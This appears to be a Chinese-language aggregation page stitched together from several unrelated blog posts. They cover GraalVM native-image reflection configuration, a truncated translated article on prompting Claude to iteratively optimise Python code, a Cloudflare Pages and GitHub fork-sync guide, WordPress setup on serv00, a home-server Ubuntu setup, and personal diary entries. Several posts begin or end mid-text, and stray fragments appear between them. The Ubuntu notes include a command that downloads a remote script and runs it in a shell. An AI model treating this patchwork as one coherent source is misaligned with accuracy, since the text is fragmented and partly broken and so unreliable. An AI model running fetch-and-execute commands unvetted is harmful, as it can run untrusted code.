下面我们构造一个 native-image
无法推断反射信息的示例,比如根据命令行参数来动态的调用某个类的某个方法:
public class App {
public static void main( String[] args ) throws Exception {
if (args.length != 4) {
System.out.println("Usage: ./app clz method a b");
return;
}
Integer result = callReflection(args[0], args[1], Integer.parseInt(args[2]), Integer.parseInt(args[3]));
System.out.println(result);
}
public static Integer callReflection(String clz, String method, Integer a, Integer b) throws Exception {
Class<?> clazz = Class.forName(clz);
return (Integer) clazz.getMethod(method, Integer.class, Integer.class).invoke(null, a, b);
}
}
我们定义一个 Calculator
类,实现加减乘除四则运算:
public class Calculator {
public static Integer add(Integer a, Integer b) {
return a + b;
}
public static Integer sub(Integer a, Integer b) {
return a - b;
}
public static Integer mul(Integer a, Integer b) {
return a * b;
}
public static Integer div(Integer a, Integer b) {
return a / b;
}
}
然后将两个类编译成 class
文件:
$ javac App.java Calculator.java
运行测试:
$ java App Calculator add 2 2
4
$ java App Calculator sub 2 2
0
$ java App Calculator mul 2 2
4
$ java App Calculator div 2 2
1
我们使用 native-image
生成可执行文件:
$ native-image App --no-fallback
此时的文件运行会报错:
$ ./app Calculator add 2 2
Exception in thread "main" java.lang.ClassNotFoundException: Calculator
at org.graalvm.nativeimage.builder/com.oracle.svm.core.hub.ClassForNameSupport.forName(ClassForNameSupport.java:122)
at org.graalvm.nativeimage.builder/com.oracle.svm.core.hub.ClassForNameSupport.forName(ClassForNameSupport.java:86)
at java.base@21.0.2/java.lang.Class.forName(DynamicHub.java:1356)
at java.base@21.0.2/java.lang.Class.forName(DynamicHub.java:1319)
at java.base@21.0.2/java.lang.Class.forName(DynamicHub.java:1312)
at App.callReflection(App.java:13)
at App.main(App.java:8)
可以看出 native-image
通过静态分析,是不知道程序会使用 Calculator
类的,所以构建二进制文件时并没有包含在里面。为了让 native-image
知道 Calculator
类的存在,我们新建一个 META-INF/native-image/reflect-config.json
配置文件:
[
{
"name": "Calculator",
"methods": [
{
"name": "add",
"parameterTypes": [
"java.lang.Integer",
"java.lang.Integer"
]
}
]
}
]
重新编译后,运行正常:
$ ./app Calculator add 2 2
4
由于配置文件里我只加了 add
方法,所以运行其他方法时,依然会报错:
$ ./app Calculator mul 2 2
Exception in thread "main" java.lang.NoSuchMethodException: Calculator.mul(java.lang.Integer, java.lang.Integer)
at java.base@21.0.2/java.lang.Class.checkMethod(DynamicHub.java:1075)
at java.base@21.0.2/java.lang.Class.getMethod(DynamicHub.java:1060)
at App.callReflection(App.java:14)
at App.main(App.java:8)
将所有方法都加到配置文件中即可。
注意这里的
--no-fallback
参数,防止native-image
开启回退模式(fallback image)。native-image
检测到反射时会自动开启回退模式,生成的可执行文件也是可以执行的,但是必须依赖 JDK:% native-image App ... Warning: Reflection method java.lang.Class.getMethod invoked at App.callReflection(App.java:14) Warning: Aborting stand-alone image build due to reflection use without configuration. ... Generating fallback image... Warning: Image 'app' is a fallback image that requires a JDK for execution (use --no-fallback to suppress fallback image generation and to print more detailed information why a fallback image was necessary).
上面的 resource-config.json
和 reflect-config.json
文件也被称为 可达性元数据(Reachability Metadata),一般位于 META-INF/native-image/<group.id>/<artifact.id>
目录下,元数据文件有以下几种类型,每一种类型的元数据配置放在对应的 <feature>-config.json
文件中:
resource-config.json
- 资源和资源包 允许加载应用程序中存在的任意文件reflect-config.json
- Java 反射 使 Java 代码能够在运行时检查自己的类、方法、字段和属性proxy-config.json
- 动态代理 会根据需要创建类,这些类实现了给定的接口列表jni-config.json
- JNI 允许本地代码在运行时访问类、方法、字段及其属性predefined-classes-config.json
- 预定义类 为动态生成的类提供支持serialization-config.json
- 序列化 使 Java 对象可以写入和从流中读取值得注意的是,最新版本的 Reachability Metadata 配置文件格式有所调整,所有的配置都统一放在
META-INF/native-image/reachability-metadata.json
文件中,在查看在线文档时要特别留意,区分 GraalVM 的版本。
但是手工编写元数据文件非常繁琐,而且容易出错,为此,GraalVM 提供了名为 Tracing Agent 的工具,帮我们自动生成元数据文件。
这个工具可以在
$GRAALVM_HOME/lib
目录下找到。
它的用法非常简单,使用 java App
正常运行程序,同时加上 -agentlib
参数即可:
$ java -agentlib:native-image-agent=config-output-dir=META-INF/native-image App
程序运行结束后,META-INF/native-image
目录下会自动生成如下文件:
├── App.java
├── META-INF
│ └── native-image
│ ├── agent-extracted-predefined-classes
│ ├── jni-config.json
│ ├── predefined-classes-config.json
│ ├── proxy-config.json
│ ├── reflect-config.json
│ ├── resource-config.json
│ └── serialization-config.json
└── app.res
我们可以打开 resource-config.json
文件进行查看,内容如下:
{
"resources":{
"includes":[{
"pattern":"\\Qapp.res\\E"
}]},
"bundles":[]
}
这和上面我们写的差不多,有了元数据文件之后,再通过 native-image
就可以编译出带资源文件的可执行文件了。
细心的同学可能已经发现,这里的写法和我们的写法不太一样,自动生成的配置是
\\Qapp.res\\E
,而我们写的配置是app.res
;其实,自动生成的是更为严谨的写法,\\Q
和\\E
是特殊的正则表达式语法,表示从\\Q
到\\E
之间的所有字符都应被视为普通字符,不会被解释为正则表达式的特殊符号,而我们写的app.res
包含.
会被当成是任意字符。
对于反射的示例,可以用一样的方式运行:
$ java -agentlib:native-image-agent=config-output-dir=META-INF/native-image App Calculator add 1 1
这时也会生成 reflect-config.json
文件,内容和我们的写法一样。
不过 Tracing Agent 有个不好的地方,每次运行会覆盖之前生成的元数据文件,所以当我们运行
java -agentlib:... App Calculator sub 1 1
时,生成的sub
方法会把第一次生成的add
方法覆盖掉,如果能自动合并就好了。
如果要在 Maven 项目中使用 Tracing Agent,我们需要对上面的 Maven 项目做两点修改:
第一点,在 native-maven-plugin
插件中新增如下配置:
<configuration>
<fallback>false</fallback>
<agent>
<enabled>true</enabled>
</agent>
</configuration>
<fallback>
部分表示关闭回退模式;<agent>
部分表示开启 Tracing Agent,这一部分也可以通过命令行参数 -Dagent=true
开启。
第二点,新增 org.codehaus.mojo:exec-maven-plugin
插件,添加一个 id
为 java-agent
的执行块,要执行的命令就是用 java
运行当前项目。
修改完的完整配置如下:
<profiles>
<profile>
<id>native</id>
<build>
<plugins>
<plugin>
<groupId>org.graalvm.buildtools</groupId>
<artifactId>native-maven-plugin</artifactId>
<version>0.10.4</version>
<extensions>true</extensions>
<executions>
<execution>
<id>build-native</id>
<goals>
<goal>compile-no-fork</goal>
</goals>
<phase>package</phase>
</execution>
<execution>
<id>test-native</id>
<goals>
<goal>test</goal>
</goals>
<phase>test</phase>
</execution>
</executions>
<!-- NEW -->
<configuration>
<fallback>false</fallback>
<agent>
<enabled>true</enabled>
</agent>
</configuration>
</plugin>
<!-- NEW -->
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.1</version>
<executions>
<execution>
<id>java-agent</id>
<goals>
<goal>exec</goal>
</goals>
<configuration>
<executable>java</executable>
<workingDirectory>${project.build.directory}</workingDirectory>
<arguments>
<argument>-classpath</argument>
<classpath />
<argument>com.example.App</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
然后执行如下命令正常打包:
$ mvn clean package
接着是关键一步,执行如下命令运行 java-agent
执行块:
$ mvn exec:exec@java-agent -Pnative
由于上面开启了 Agent 模式,native-maven-plugin
插件会自动将 -agentlib:...
参数注入到 exec-maven-plugin
的参数列表中,从而在 target/native/agent-output/main
目录下生成元数据文件。如果 target
目录下没有文件生成,请检查 pom.xml
配置是否正常。
最后,生成可执行文件:
$ mvn package -Pnative
这里比较有意思的一点是,native-maven-plugin
插件是如何将 Agent 参数注入到 exec-maven-plugin
的参数列表里的?我们从 pom.xml
配置中看不出任何线索,关键藏在 native-maven-plugin 的源码 里:
这个类实现了 AbstractMavenLifecycleParticipant
的 afterProjectsRead
方法,这个方法是 Maven 的一个重要的扩展点,允许开发者在 Maven 读取完所有项目配置后,但在构建项目依赖图之前,插入自定义逻辑,比如这里的逻辑就是查找 exec-maven-plugin
插件中 id
为 java-agent
的执行块,并将 Agent 参数注入到 <arguments>
列表中。
原生应用相比于传统的 Java 应用,在服务监控、问题排查、日志调试、性能优化等方面要麻烦一点,GraalVM 也提供了一些指南供参考。
claude-3-5-sonnet-20241022
) 对各类提示词都有着令人难以置信的遵循能力,尤其是在编码提示方面。编码基准测试证实,在 Claude 3.5 Sonnet 和 GPT-4 的测试中,Claude 胜出,而且根据我在各种技术和创意任务中的亲身经历,也得出了相同的结论。完整的、未经编辑的基于这种随意提示的对话内容可在 GitHub 上获取。
编写 Python 代码来解决这个问题:
给定一个包含 100 万个 1 到 100,000 之间的随机整数的列表,找出数字之和等于 30 的最大数和最小数之间的差值。
import random
def digit_sum(n):
"""Calculate the sum of digits of a number"""
return sum(int(digit) for digit in str(n))
def find_difference():
# Generate list of 1 million random integers
numbers = [random.randint(1, 100000) for _ in range(1000000)]
# Initialize variables for min and max numbers with digit sum 30
min_num = float('inf') # Initialize to positive infinity
max_num = float('-inf') # Initialize to negative infinity
# Find numbers whose digits sum to 30
for num in numbers:
if digit_sum(num) == 30:
min_num = min(min_num, num)
max_num = max(max_num, num)
# Check if we found any numbers with digit sum 30
if min_num == float('inf') or max_num == float('-inf'):
return "No numbers found with digit sum of 30"
return max_num - min_num
digit_sum()
函数:虽然这个实现是一个有趣的 Python 一行代码,但在 str
和 int
之间的类型转换会造成大量不必要的开销。写更好的代码
class DigitSumFinder:
def __init__(self, target_sum: int = 30,
range_start: int = 1,
range_end: int = 100_000,
count: int = 1_000_000):
self.target_sum = target_sum
self.range_start = range_start
self.range_end = range_end
self.count = count
# Pre-calculate digit sums for all possible numbers
self.digit_sums = self._precompute_digit_sums()
def _precompute_digit_sums(self) -> array:
"""Precompute digit sums for all possible numbers in range."""
digit_sums = array('B', [0] * (self.range_end + 1))
for num in range(self.range_start, self.range_end + 1):
total = 0
n = num
while n:
total += n % 10
n //= 10
digit_sums[num] = total
return digit_sums
def find_difference(self) -> Tuple[int, Optional[int], Optional[int]]:
"""
Find the difference between max and min numbers with target digit sum.
Returns: (difference, min_number, max_number)
"""
min_num = float('inf')
max_num = float('-inf')
count_found = 0
# Generate and process random numbers
for _ in range(self.count):
num = random.randint(self.range_start, self.range_end)
if self.digit_sums[num] == self.target_sum:
count_found += 1
if num < min_num:
min_num = num
if num > max_num:
max_num = num
if count_found == 0:
return 0, None, None
return max_num - min_num, min_num, max_num
写更好的代码
,Claude 发现了更多明显的优化(为了可读性进行了截断):class DigitSumAnalyzer:
"""Analyzes numbers based on their digit sums."""
def __init__(self, number_range: NumberRange):
self.number_range = number_range
self._digit_sums = self._precompute_digit_sums()
def _precompute_digit_sums(self) -> array:
"""Precompute digit sums for all possible numbers using vectorized operations."""
digits = np.arange(self.number_range.end + 1)
digit_sums = np.zeros(self.number_range.end + 1, dtype=np.uint8)
while digits.any():
digit_sums += digits % 10
digits //= 10
return array('B', digit_sums)
def _process_chunk(self, chunk_size: int) -> Iterator[int]:
"""Process a chunk of random numbers."""
numbers = np.random.randint(
self.number_range.start,
self.number_range.end + 1,
chunk_size,
dtype=np.int32
)
mask = np.frombuffer(self._digit_sums, dtype=np.uint8)[numbers] == self.number_range.target_sum
yield from numbers[mask]
def analyze(self, chunk_size: int = 100_000, num_processes: int = None) -> Result:
"""
Analyze numbers to find min/max with target digit sum.
Args:
chunk_size: Size of chunks to process at once
num_processes: Number of processes to use (None for CPU count)
"""
start_time = time.perf_counter()
min_num = float('inf')
max_num = float('-inf')
numbers_found = 0
num_chunks = (self.number_range.count + chunk_size - 1) // chunk_size
with ProcessPoolExecutor(max_workers=num_processes) as executor:
futures = [
executor.submit(self._process_chunk,
min(chunk_size, self.number_range.count - i * chunk_size))
for i in range(num_chunks)
]
for future in tqdm(futures, desc="Processing chunks"):
for num in future.result():
numbers_found += 1
min_num = min(min_num, num)
max_num = max(max_num, num)
execution_time = time.perf_counter() - start_time
if numbers_found == 0:
return Result(None, None, 0, execution_time, 0)
return Result(min_num, max_num, max_num - min_num, execution_time, numbers_found)
_precompute_digit_sums()
函数,它实现了一个向量化的数字和计算实现。条件语句 while digits.any():
是一种巧妙的代码,但它确实能正确运行。main()
保护来调用,这显然限制了它的实用性。但即使作为单独的脚本运行,由于使用了 yield from numbers[mask]
(该生成器完全没有必要,return numbers[mask]
就足够了),它也会打印出 Error: cannot pickle 'generator' object
错误。代码还混合了 numpy 数组的 dtype
,这会导致错误:将它们全部设置为 np.int32
可以修复这个问题。写更好的代码
,Claude 返回了新的实现,它声称是”使用高级技术和现代 Python 特性的更加复杂和优化的版本”。但实际代码并没有显示出重要的算法改进,实际上在数字和计算方面还出现了倒退,回到了类型转换的方法。如果说有什么的话,代码库变得更加臃肿,比如添加了一个用于执行差值计算的类:@dataclass(frozen=True, slots=True)
class SearchResult:
"""Result of the number search."""
min_number: Optional[int]
max_number: Optional[int]
count: int
execution_time: float
@property
def difference(self) -> Optional[int]:
"""Calculate difference between max and min numbers."""
if self.min_number is None or self.max_number is None:
return None
return self.max_number - self.min_number
写更好的代码
之后,Claude 提供了新的实现,声称具有”尖端优化和企业级功能”。等等,企业级功能?!@jit(nopython=True, parallel=True)
def calculate_digit_sums(numbers: ArrayInt) -> ArrayInt:
"""Calculate digit sums using Numba."""
result = np.zeros_like(numbers)
for i in prange(len(numbers)):
num = numbers[i]
total = 0
while num:
total += num % 10
num //= 10
result[i] = total
return result
你写的所有代码都必须完全优化。
"完全优化"包括:
- 最大化内存和运行时的算法大 O 效率
- 在适当的地方使用并行化和向量化
- 遵循代码语言的正确风格约定(例如最大化代码重用 (DRY))
- 除了解决用户提供的问题所绝对必需的代码外,不要有多余的代码(即没有技术债务)
如果代码没有完全优化,你将被罚款 100 美元。
编写 Python 代码来解决这个问题:
给定一个包含 100 万个 1 到 100,000 之间的随机整数的列表,找出数字之和等于 30 的最大数和最小数之间的差值。
在编写代码之前,请规划所有必要的优化。
基于这个提示词工程策略的完整、未经编辑的对话线程可在 GitHub 上获取。
让我先规划优化:
1. 算法优化:
- 我们只需要跟踪数字之和为 30 的最小值和最大值,不需要存储所有数字
- 我们可以在读取数字时计算数字之和,不需要转换为字符串
- 只需要遍历列表一次 (O(n))
2. 内存优化:
- 只需要存储 2 个变量(最小值和最大值),不需要完整的过滤列表
- 不需要额外的数据结构
3. 性能优化:
- 使用 numba 的 @jit 装饰器加快计算速度
- 创建一个使用模运算而不是字符串转换的快速数字求和函数
- 使用 numpy 生成随机数(比 random.randint 更快)
@jit(nopython=True)
def digit_sum(n):
total = 0
while n:
total += n % 10
n //= 10
return total
@jit(nopython=True)
def find_difference(numbers):
min_num = float('inf')
max_num = float('-inf')
for num in numbers:
sum_digits = digit_sum(num)
if sum_digits == 30:
min_num = min(min_num, num)
max_num = max(max_num, num)
return max_num - min_num if max_num != float('-inf') else 0
jit
装饰器中设置 parallel=True
。你的代码没有完全优化,你被罚款 100 美元。让它更优化。
@jit(nopython=True)
def digit_sum(n):
# 使用位操作进行更快的除法
total = 0
while n:
total += n & 15 # 单个数字和的快速查找
n >>= 4
return total
@jit(nopython=True, parallel=True)
def find_difference_chunk(numbers):
min_num = np.iinfo(np.int64).max
max_num = np.iinfo(np.int64).min
# 使用 numba 进行并行处理块
for i in prange(len(numbers)):
num = numbers[i]
sum_digits = digit_sum(num)
if sum_digits == 30:
min_num = min(min_num, num)
max_num = max(max_num, num)
return min_num, max_num
def process_chunk(chunk):
return find_difference_chunk(chunk)
parallel=True
标志!但是那个数字求和实现很奇怪,使用了位移操作,这通常只用于超优化。我不认为你可以在十进制数上很好地使用位移操作,经过测试,事实证明确实不行,因为这个实现计算出的数字之和是错误的。该实现还包括了多进程分块方法(未显示),这可能与 numba 重复并造成额外开销。同样未显示的是:脚本还使用小型测试数组预编译了 JIT 函数以获得更好的实际性能,这是 numba 文档推荐的基准测试方法。# 使用位操作预计算查找表
LOOKUP = np.zeros(100001, dtype=np.uint8)
for i in range(100001):
# 使用并行位计数优化数字求和
n = i
n = (n & 0x0F) + ((n >> 4) & 0x0F) + ((n >> 8) & 0x0F) + \
((n >> 12) & 0x0F) + ((n >> 16) & 0x0F)
LOOKUP[i] = n
@jit(nopython=True, parallel=True, cache=True, fastmath=True)
def find_min_max(numbers):
# 一次处理 32 个数字使用 SIMD
min_val = np.iinfo(np.uint32).max
max_val = 0
# 带有显式 SIMD 提示的向量化处理
for i in prange(0, len(numbers), 32):
# 将 32 个元素加载到 SIMD 寄存器
chunk = numbers[i:min(i + 32, len(numbers))]
# 向量化查找和比较
sums = LOOKUP[chunk]
mask = sums == 30
if np.any(mask):
valid_nums = chunk[mask]
min_val = min(min_val, np.min(valid_nums))
max_val = max(max_val, np.max(valid_nums))
return min_val, max_val
parallel=True
时,prange
函数不能接受步长为 32,这是一个很少有文档记载的细节。设置 parallel=False
并进行基准测试,确实比初始提示词工程实现略有改进,比基础实现快 65 倍。# 预计算完美最小哈希表
# 关键洞察:对于 1-100000 的数字,只需要存储数字之和为 30 的
# 格式:[数字] = 1 如果数字之和为 30,否则为 0
HASH_TABLE = np.zeros(100001, dtype=np.uint8)
# 在模块加载时使用位操作生成哈希表
@jit(nopython=True, cache=True)
def init_hash_table():
min_val = np.iinfo(np.uint32).max
max_val = 0
# 使用并行位计数的最优数字求和
for i in range(1, 100001):
n = i
sum = 0
while n and sum <= 30:
sum += n & 0xF
n >>= 4
if sum == 30:
HASH_TABLE[i] = 1
min_val = min(min_val, i)
max_val = max(max_val, i)
return min_val, max_val
# 在模块加载时初始化
MIN_VALID, MAX_VALID = init_hash_table()
@jit(nopython=True, parallel=False, cache=True, fastmath=True)
def find_min_max(numbers):
min_val = MAX_VALID # 从已知边界开始
max_val = MIN_VALID
found = False
# 单个向量化操作
mask = HASH_TABLE[numbers] == 1
if np.any(mask):
valid_nums = numbers[mask]
min_val = np.min(valid_nums)
max_val = np.max(valid_nums)
found = True
return min_val, max_val, found
HASH_TABLE
(这只是一个 numpy 数组,我不确定简单的索引查找是否真的算作哈希表),它还引入了一个逻辑微优化,即在对数字求和时,如果数字超过 30,计数就可以停止,因为它可以立即被识别为无效。HASH_TABLE
仍然在 JIT 函数外实例化并在 JIT 函数内修改,因此会导致一个非常令人困惑的错误。经过一个小的重构,使 HASH_TABLE
在 JIT 函数内实例化后,代码正常运输,而且运行极快:比原始基础实现快 100 倍,与随意提示词的最终性能相同,但代码量减少了几个数量级。HASH_TABLE
。更重要的是,通过 HASH_TABLE
的调整,我确认实现是正确的,最终,尽管由于不再使用位移操作而导致性能略有下降,但是比基础实现快 95 倍。本博文中的所有代码,包括基准测试脚本和数据可视化代码,都可在 GitHub 上获取。
set()
或使用 numpy 的 unique()
来去重。我还以为会看到一个对 1,000,000 个数字进行升序排序的实现:这样算法就可以从头到尾搜索最小值(或从尾到头搜索最大值),而不需要检查每个数字。不过排序操作较慢,向量化方法确实更实用。Next.js
(注意:不要选择 Next.js Static HTML Export)提示:首次安装可能会出现错误,这是正常现象。按照提示 2.3 启用 Node.js 兼容性并重新安装即可解决。
nodejs_compat
。如果您想手动保持与原仓库同步,可以:
如果您想自动保持与原仓库同步,可以:
name: Sync Fork
on:
schedule:
- cron: '0 0 * * *' # 每天运行一次
workflow_dispatch: # 手动触发
jobs:
sync:
runs-on: ubuntu-latest
steps:
- name: Checkout Fork Repository
uses: actions/checkout@v3
with:
ref: main
- name: Set Git User Info
run: |
git config --global user.name "github-actions[bot]"
git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: Add Upstream
run: |
git remote add upstream https://github.com/GuooGaii/ip-geoaddress-generator
git fetch upstream
- name: Merge Upstream Changes
run: |
git merge upstream/main --allow-unrelated-histories --no-edit
- name: Push Changes to Fork
run: |
git push origin main
以下为自己摸索的搭建wordpress步骤,如有不妥之处请海涵。
事先把自己的域名托管在cloudflare,如想想使用serv00自带域名也是可以的。
下载wordpress压缩包: 下载 – WordPress.org China 简体中文,放置在桌面。
需要工具:crossftp下载并安装在电脑上。
进入serv00后台: https://panel16.serv00.com,链接里的数字你申请的是s几就填几。
第一步:点击WWW websites,再点击Add new websites,此时输入你的域名,输入完后点Add
第二步:点击MySQL,再点击Add datebase,此时输入数据库名和密码,如下图
第三步:点击SSL,再点击WWW websites,看到第一个ip地址,把这个IP地址添加在cloudflare域名A记录,注意先不要打开小云朵。
然后回到WWW websites页面,点击Manage,再点击Add certificate,然后在Type里选择Lets Encrypt这个选项,Domain选择自己添加的域名,最后点Add,这样系统自动就帮我们申请证书了。
显示successfully就代表证书申请成功。
此时在浏览器输入自己的域名:demo.zeku.net,出现以下页面就代表部署成功,此时可以到cloudflare域名那里开启小云朵。
第四步:在桌面打开安装的软件crossftp,点击左上角:文件,再点击:连接,然后输入登录serv00的账号和密码,填好后点击:连接。如你的链接被墙,需要设置代理,以v2rayn为例,见下图
进去后找到/usr/home/dwaigzgqx/domains/demo.zeku.net/public_html路径,右键点击index.html,然后删除。再然后上传woredpress压缩包到public_html文件夹里,右键点击wordpress压缩包,然后点击:压缩至此。这样压缩包就解压了。
第五步:回到serv00页面,点击File manager,依次点击到路径domains/demo.zeku.net/public_html/wordpress,然后全选wordpress里的文件后右击,点move移动到public_html文件夹。
移动完成后此时可以把空的wordpress文件夹和压缩包删除,选中后右击点delete就删除了。如你还想多建几个站可以保留压缩包,重复上述步骤即可。
最后在浏览器里输入域名:demo.zeku.net就进去到wordpress配置页面了
输入之前创建的数据库名和密码,以及填写数据库主机链接,其他默认,最后点击提交
然后就是填写站点信息,填完后点击安装wordpress
然后登陆wordpress后台
至此,wordpress就安装完成了
搭载了 N5105,16G 内存和 256G SSD 的 intel NUC11 闪亮登场。
家中一直运行着几台低成本的 Server 小设备,包括树莓派 3B+(运行脚本)、斐讯 N1 盒子(小钢炮下载机)以及友善 R2S(openwrt 系统)。
2018 年 12 月购入的树莓派,承担着运行脚本和几个简单 Docker 服务的任务,基本能够满足需求。不过,它存在一个明显的缺陷,其系统安装在 TF 卡上,稳定性欠佳。运行大概一个月左右,就会出现文件系统错误,进而导致无法进入系统。索性挂闲鱼 ¥150 秒出。(疫情期间二手价格曾涨到 ¥500,当时怀旧没舍得卖) 如今,app 的推荐算法真绝。卖掉树莓派后,闲鱼首页便被各种低功耗小主机刷屏。由于我的需求很明确,就是要找一个能稳定运行几个脚本和 Docker 服务,从而替代树莓派的设备,所以从颜值方面考虑,选择了这台价值 400 元的二手 intel 阿特拉斯峡谷 NUC11ATKC4 准系统。
希望这次系统安装和配置完成,通电后就安静稳定的待在柜子里,近几年都不要再碰它了。
由于不经常配置 Ubuntu,下面的内容是给自己的备忘。
#更换阿里源,已经不是原来的路径/etc/apt/sources.list
vim /etc/apt/sources.list.d/ubuntu.sources
#/etc/apt/sources.list.d/ubuntu.sources其内容为
#把其中的http://cn.archive.ubuntu.com/ubuntu/,修改为https://mirrors.aliyun.com/ubuntu/
Types: deb
URIs: https://mirrors.aliyun.com/ubuntu/
Suites: noble noble-updates noble-backports
Components: main restricted universe multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg
Types: deb
URIs: https://mirrors.aliyun.com/ubuntu/
Suites: noble-security
Components: main restricted universe multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg
#保存并退出
:wq
#更新
apt update
#升级
apt upgrade
#安装 zsh
sudo apt install zsh
#验证 zsh 是否安装成功
zsh --version
#安装 ohmyzsh
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
#安装完成后,ohmyzsh 会自动将你的默认 shell 更改为 zsh。你可以使用以下命令来验证是否已切换到 zsh:
echo $SHELL
#主题和插件,编辑.zshrc配置文件
vim ~/.zshrc
#我的插件列表
plugins=(git z sudo docker zsh-syntax-highlighting zsh-autosuggestions)
#最后2个第三方插件需要先手动下载
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
git clone https://github.com/zsh-users/zsh-syntax-highlighting ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
#运行 source ~/.zshrc 来使更改生效
source ~/.zshrc
Gnome 的 Terminal 可以在 Gogh 这个项目里找到合适的颜色主题,我选用了 Solarized Dark
#安装
sudo apt install openssh-server
#启动
sudo systemctl start ssh
#检查服务状态
sudo systemctl status ssh
#启用 SSH 服务自动启动
sudo systemctl enable ssh
#查看服务状态
sudo systemctl is-enabled ssh
#配置证书登陆
#使用 ssh-copy-id将公钥复制到远程服务器
#储在默认位置(通常是 ~/.ssh)使用 Ed25519 生成的默认名称为 id_ed25519 和 id_ed25519.pub
cd ~/.ssh
ssh-copy-id user@192.168.1.99 #这将自动将公钥添加到远程服务器的 ~/.ssh/authorized_keys 文件中
#编辑 SSH 服务的配置文件 /etc/ssh/sshd_config
sudo vim /etc/ssh/sshd_config
#确保以下设置已经被打开注释:
#PubkeyAuthentication yes:启用公钥认证。
#PasswordAuthentication no:禁用密码认证(可选,但推荐)。
#ChallengeResponseAuthentication no:禁用挑战响应认证。
#配置 SSH 别名一键登录(本地电脑)
#打开ssh配置文件
$ vim ~/.ssh/config
#新增
Host <起个名字>
HostName <你的服务器ip地址>
User <用户名>
Port [可选项,端口号]
#演示实例
Host nuc
HostName 192.168.1.99
User yangpeiyuan
#完成后,就可以这样登录服务器了
ssh nuc
#安装 XRDP 服务器
sudo apt install xrdp
# 启动服务
systemctl start xrdp
# 设置开机自启动
systemctl enable xrdp
# 检查状态
systemctl status xrdp
#将 xrdp 用户添加到 ssl-cert 组
sudo adduser xrdp ssl-cert
#安装完成后,需要注销/重启系统,否则在使用 XRDP 远程连接 Ubuntu 系统时,可能遇到黑屏问题(客户端连接黑屏)。
reboot
#如何连接不上,检查
sudo vim /etc/xrdp/xrdp.ini
#修改成
security_layer=rdp
至此,可以用 ssh 和 Microsoft remote desktop 连接 NUC 了。放入柜子中放光发热。
by yangpeiyuan (i@yangpeiyuan.com) at January 16, 2025 02:40 PM
今天阳光很舒服,在常德河边的小咖啡店喝了杯热可可,尝了一块苹果肉桂巴斯克。
店名很有趣,叫「木又寸」,合起来是「树」,英文名 Be a Tree。
工作日店内挺安静,身后椅子上有一只猫咪懒洋洋的晒太阳,心情好的时候会在我们脚下漫步。
店内有一些藏书,随手翻看着一本,叫《日和手贴—打包你的人生》。
开头是一篇「群访」,标题是「你如何打包你的日常生活」,共有四个问题。
心情很好,顺手答一下:
1.你的包里是凌乱的还是井井有条的?
旅行开始的时候井井有条,但拿取东西的次数多了后,会变的凌乱。
包内有 7 个分区,所以只要不装的太满,还是能快速找到自己要的东西。
2.平时会背怎样的包?
经常背电脑,双肩包更舒适,目前背的是 Bellroy Classic Backpack plus v2,舒适度很高,这三年陪我去了很多地方。耐用性也不错,远看跟新包一样。
不带电脑的时候,我会背一个小斜挎包,装手机、钱包、纸巾。
3.出门时包里会装些什么?
4.理想的包是什么样的?
分区合理,耐看,不花哨,面料耐用。最好是黑色,20-24L,太大不适合日常通勤,太小适用范围太小。我只想备 3 款包:城市日常通勤包、徒步包和斜挎小包。
另外,年初徒步旅行经历大雨,不便打伞,背包没多久就湿透了,差点弄坏相机。所以下一个背包,我会选有防雨性能的,比如 Aer City Pack Pro Ultra。Aer 经典款背包唯一的缺点就是自重有点重,而这款是新材料,线下试过一次,很轻,也耐看。
现在这个包还能背好多年,防水不算日常需求,几年后包坏了再考虑换。
下午,河边人逐渐多了起来,店内又来几桌客人,挺热闹,但也不适合看书了。
收拾收拾回家!
或许最近,你会看到很多人开始分享自己在 2024 年做到了很多事情。
Chipsy & Elfwreck
但如果你在 2024 年唯一做到的事情,就是成功坚持了下来,走完了这一整年。
我想和你说,没关系的,每人有各自不同的生活和经历。放松心态,找到属于自己的路,继续前行吧。
自 2021 年开始写博客,2024 年是我坚持写作的第四年,这一年我发布了 83 篇博客,共计 61,602 字 。
照例贴上主页截图,纪念一下。
年初闭关几个月赶出了毕业论文,跌跌撞撞的博士毕业。
拿到毕业证书后很久都没缓过来。
找到了契合的博后职位,但入职和签证流程折腾了好几个月,至今没走完。
在导师介绍下,兼职做学术期刊编辑,挣生活费。
希望 25 年能顺利入职。
这一年生了太多次病,咽炎、肠胃炎、腰伤、甲流… 浑浑噩噩的度过了下半年。
刚毕业的时候,充满干劲,计划了很多项目,但这半年状态实在不好,少有顺利进行的。
希望入职前能调整好状态。
年初去英国探望女友,完成了人生中第一次中距离徒步旅行。
然后回归异地,做彼此的电子宠物。
年末,女友也完成了毕业答辩,终于回国。
25 年 1 月,我们领证了。
随女友回老家。来过两次,但她看着我这个小胖墩在她屋里敲电脑,总觉得像在做梦。
确实,我高兴的像做梦一样,总看着她傻笑。
工作之后,感觉少有机会和父母出游。趁着还有闲暇,下半年陪他俩飞了两次日本,北海道、东京和箱根。淡季人少,玩的很开心。
高中同学的女儿满周岁,我有幸被夫妻俩信任,成了小家伙的干爹。
和朋友一起完成了第一个 WordPress 插件:NeoDB Integration。
设计了一个博客相关的问卷,评论区有很多有趣的答复。
开启了一个聊天活动,共和 11 位朋友线上交流。
完成了美国心脏协会的 HeartSaver First Aid CPR AED 课程,希望在某个时刻,能够给自己多一份勇气,并且保护自己,帮助他人。
11 月份博客被攻击过一段时间,维护后,暂时安全。
这一年中,我最喜欢的博客是 那些脱口而出的思考 和 秋夜、白葡萄酒和面包 。
祝大家身体健康!
本刊物不定期发布,推荐通过 RSS 订阅:https://anotherdayu.com/feed/
推荐几个最近用着很舒服的 macOS 软件!
